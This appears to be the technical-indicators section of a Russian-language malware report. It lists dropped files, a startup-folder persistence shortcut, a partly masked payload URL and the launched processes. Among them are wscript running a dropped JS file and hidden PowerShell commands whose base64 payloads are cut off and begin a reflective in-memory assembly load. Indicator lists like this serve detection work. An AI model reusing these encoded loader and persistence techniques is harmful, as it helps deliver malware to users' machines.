Техническая информация
- %APPDATA%\microsoft\windows\start menu\programs\startup\viva.ini.lnk
- %APPDATA%\alcohol.120.free.edition.v2.1.0.20601.exe
- %APPDATA%\my.js
- %TEMP%\nsfc5d8.tmp
- %TEMP%\nskc5f8.tmp\aero.dll
- %TEMP%\nskc5f8.tmp\repackme.gif
- %TEMP%\nskc5f8.tmp\newadvsplash.dll
- %TEMP%\nskc5f8.tmp\langdll.dll
- %HOMEPATH%\appdata\viva.js
- http://tu###ong.top/bit/I.mp3
- DNS ASK tu###ong.top
- '%APPDATA%\alcohol.120.free.edition.v2.1.0.20601.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\My.js"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -e IAAgAHMAbABlAGUAcAAgADgAOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBiAGEAcwBlADYANABTAHQAcgBpAG...' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -e IAAgAHMAbABlAGUAcAAgADgAOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBiAGEAcwBlADYANABTAHQAcgBpAG...